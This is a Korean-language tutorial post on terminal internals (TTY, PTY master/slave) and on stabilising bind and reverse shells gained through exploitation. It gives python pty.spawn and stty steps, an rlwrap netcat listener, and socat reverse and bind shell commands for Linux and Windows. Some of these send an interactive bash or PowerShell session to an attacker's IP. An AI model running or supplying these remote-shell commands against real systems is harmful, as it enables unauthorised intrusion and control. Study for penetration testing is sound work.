MSFvenon & Handler - Reverse에서 리버스 셸과 바인드 셸의 기본 개념 및
msfvenom 페이로드를 활용하여 Metasploit의 Handler를 통해 리버스 셸을
획득하는 과정을 설명하였다
위 과정을 통해 얻은 Metasploit의 Meterpreter셸은 향상된 셸로, 완전한 안정화를
이룰 수도 있으나, 대부분의 취약점을 통해 얻은 바인드/리버스 셸은 매우 제한적인
환경으로, 여러 기능에 제한이 생길 수 있다
clear, vim, ssh 등 상호작용이 필요한 명령어의 화면 깨짐Ctrl+C, Tab, Backspace가 정상 작동하지 않음이러한 제한이 생기는 이유는 연결한 터미널의 문제에서 시작된다. 이 글에서는
터미널과 셸의 구조를 통해 바인드/리버스 셸을 얻었을 경우에 생기는 문제점,
해당 문제점을 해결하기 위해 강제로 셸을 안정화 시키는 방법에 대해 소개하겠다
아주 예전에는 단순하게 사람과 컴퓨터를 이어주는 물리 장치로, 키보드와 출력장치로
구성되어 명령을 주고받는 작업을 수행했었다. 중앙 컴퓨터에 여러 개의 물리적인
터미널을 연결해서 사용했으며, 이 물리 장치들은 모니터 + 키보드로 구성되어
단순 입출력만을 지원했다. 이를 TTY(Teletypewriter)라고 한다
그러나 현재의 터미널은 GUI 환경에서 동작하는 "터미널 에뮬레이터"로,
우리는 키보드로 명령을 입력하고 그 결과를 터미널 창에서 확인한다.
이는 소프트웨어를 기반으로 만들어진 "가짜 터미널"로 현재 우리가
흔히 알고있는 대부분의 시스템에서 사용하는 터미널의 형태를 말한다.
이 가상의 터미널을 PTY(Pseudo Terminal)라고 부른다
우리가 시스템에서 터미널을 통해 bash같은 셸을 실행시키면, 이 프로세스의
stdin, stdout, stderr은 모두 "현재 터미널"을 가리키며 연결되고,
여기서 말한 "현재 터미널"은 /dev/tty로, 심볼릭 링크로 사용된다.
즉, tty는 현대적으로는 현재 사용하고 있는 터미널을 의미한다고 볼 수 있다
우리가 사용하는 터미널인 PTY의 구조를 살펴보면, 각각 Master와 Slave로 나누어진다.
PTY Master : 사용자의 입력을 받는 장치로 터미널 애뮬레이터와 연결된다
(ex. ssh 서버나 다른 프로그램의 명령을 최초로 받는다)
PTY Slave : 셸 프로세스와 연결되어 사용자 입출력을 처리하는 장치
즉, 우리가 사용하는 bash -li는 slave쪽에 붙어 사용자의 입력값을 처리하며
출력값 또한 확인하고, 외부의 프로그램은 Master와 붙어 Slave와 소통하면서
데이터를 받을 수 있다
사용자 입력 <-> 터미널 에뮬레이터 <-> PTY Master <-> PTY Slave <-> bash
위에서 얘기한 현재 터미널을 뜻하는 /dev/tty는 실제 TTY(/dev/tty/X)일
수도 있고, PTY Slave(/dev/pts/X)일 수도 있다
결국 PTY는 물리적인 장치 없이도 터미널 세션을 관리하며
우리가 사용하는 터미널이 TTY 장치처럼 보이게 만들어준다
이제 이 글의 주제인 셸의 안정화에 대해 살펴보겠다. 우리가 타겟으로부터
기본적으로 얻은 바인드/리버스 셸은 Non-Interactive 한 상태로, 위에서 말한
여러 명령어 및 키보드 입력의 상호작용 문제점이 발생한다
그렇기에 이런 불완전한 셸을 완전한 하나의 완전한 터미널로 사용하기 위해
앞에서 살펴봤던 터미널의 구조에서 필요한 요소들을 강제로 추가해
서로 붙여주는 방식으로 안정화를 진행한다

python3 -c 'import pty;pty.spawn("/bin/bash")'
해당 방법은 타겟이 Linux일 경우에만 사용가능하며, Python이 설치되어있어야 한다.
공격자의 머신에서 바인드나 리버스 셸에 접근한 후 이는 매우 불안정한 상태로 존재,
위 명령은 pty.spawn("/bin/bash")를 통해 가상 터미널(PTY)을 생성하여 해당
터미널이 /bin/bash를 실행하도록하여 셸에게 PTY Slave를 붙여주었다
이후 Ctrl + Z로 해당 세션을 백그라운드로 일시 중지시키고 다시 공격자의
로컬 터미널에서 설정을 바꾼다. 공격자의 터미널 설정은 stty로 바꿀 수 있으며,
다음을 설정한다 stty raw -echo
공격자의 머신에서 피해자의 머신으로 입력값이 제대로 전달되기 위해선,
공격자의 머신이 여러 특수키들을 해석하지 않고 그대로 보내야만 한다
(ex. Ctrl + C를 로컬에서 처리하면 연결이 바로 끊김, 전달 불가)
위 설정은 현재 터미널에서 입출력을 가공하지 않고서 Ctrl + C, 백스페이스
등의 특수키를 그대로 전달해 처리하지 않도록 하고 -echo로 입력한 명령어가
공격자의 화면에서 중복으로 보이지 않게 한다
이후 다시 피해자의 세션을 fg를 통해 포그라운드로 가져온 후
피해자의 머신에서 환경변수 설정을 다음과 같이 바꾼다 export TERM=xterm
TERM은 현재 사용하는 터미널의 종류를 알려주는 변수로, 이를 대부분의
터미널이 지원하는 표준 타입인 "xterm"으로 설정하여 vi, top, clear 등의
명령어가 정상 작동할 수 있도록 한다
위 방법은 얻은 셸의 출력을 더 깔끔하고 보기 쉽게만들수 있으나, 자동완성이나
위/아리 화살표 기능은 제공하지 않는다
Tab을 통한 자동완성 및 히스토리 저장기능을 사용하기 위해 rlwrap을 공격자의
머신에 설치한 후 rlwrap nc -lvnp PORT로 리스너를 연다. 해당 리스너를 통해
얻은 셸은 더 많은 기능을 제공하며 윈도우 기반 셸을 처리할 때 효과적으로
사용될 수 있다. Linux에서는 거의 완벽하게 안정화를 시킬 수 있으며,
위에서 수행한 방법대로 stty raw -echo; fg를 사용하여 얻을 수 있다
Netcat의 강화버전으로, netcat의 모든 기능을 수행하면서 추가적인 기능을
제공한다. Netcat의 셸보다는 안정적이며, 성능도 더 좋다. 그러나 비교적 어려운
문법과 기본적으로 시스템에 설치되지 않은 단점이 존재한다
Reverse Shell
Socat을 사용한 리버스 셸의 리스너는 다음을 통해 구성할 수 있다
⇒ socat TCP-L:<port> -
Linux에서는 다음 명령을 타겟에서 실행한다
⇒ socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash - li"
Windows에서 다음 명령을 타겟 시스템에서 실행하여 리버스 셸을 호출할 수 있다
⇒ socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes 옵션은 파워셸이 유닉스 스타일의 입출력을 사용하도록 강제한다
Bind Shell
타겟에 상관없이 다음 명령어를 통해 타겟에 실행된 리스너로 접근한다
⇒ socat TCP:<TARGET-IP>:<TARGET-PORT> -
Linux에서 다음을 통해 바인드 셸을 실행한다
⇒ socat TCP-L:<PORT> EXEC:"bash -li"
Windows에서 다음을 통해 타겟에서 리스너를 설정한다
⇒ socat TCP-L:<PORT> EXEC:powershell.exe,pipes
Socat의 가장 강력한 기능 중 하나로, Linux가 타겟일 때에만 사용할 수 있다.
다른 리버스 셸과 비교하였을 때 매우 안정적인 상태로 유지되며, 자주 사용하는
강력한 기능 중 하나이다
socat TCP-L:<PORT> FILE:'tty',raw,echo=0
공격자의 머신에서 실행하며 현재 공격자의 터미널인 tty와 리스닝 포트와의
양방향 연결을 구현한다. raw와 echo=0을 통해 깔끔한 정보 전달을 구현하였다
이렇게 실행한 리스너는 타겟 역시 socat 명령어를 통해 접속해야만 실행될 수
있으며, 대부분의 머신들은 socat이 설치되어있지 않기 때문에
“Precompiled Socat Binary”를 업로드하여 타겟에서 실행시킬 수 있다
socat TCP:<atk-ip>:<port> EXEC: "bash -li",pty,stderr,sigint,setsid,sane
위 명령어는 타겟에서 실행되는 명령어로, interactive bash 세션을 실행하여
다음 옵션과 함께 공격자의 TCP 소켓으로 전송한다.
Ctrl + C를 통과시켜 셸 내부 프로세스에 인터럽트 할 수 있도록 함위 과정을 통해 얻은 셸은 완전한 Interactive 셸이 되며, SSH/vim과 같은
상호작용이 필요한 모든 명령어를 올바르게 실행시킬 수 있다
PTY를 사용한 현대 터미널의 구조, TTY의 의미가 예전에는 물리적 장치를 뜻했으나
현재는 하나의 심볼릭 링크로 자리잡은 변화, 이들을 이용하여 바인드/리버스 셸을
획득했을 때 Interactive한 셸로 만들기 위해 필요한 명령들을 설명하였다
리버스와 바인드 셸은 타겟 머신에 원격 코드 실행 취약점(RCE)을 악용하는 데
있어 필수적인 기술이다. 그러나 얻은 원격 셸은 정상적인 셸보다 기능이 부족하고
떨어질수밖에 없다
그럼에도 불구하고 이 방법을 확장하여 타겟에 권한을 얻는 것이
추가적인 취약점을 발견해서 악용하는 것보다 훨씬 쉽기 때문에
이는 꼭 활용할 줄 알아야하는 필수 기술이다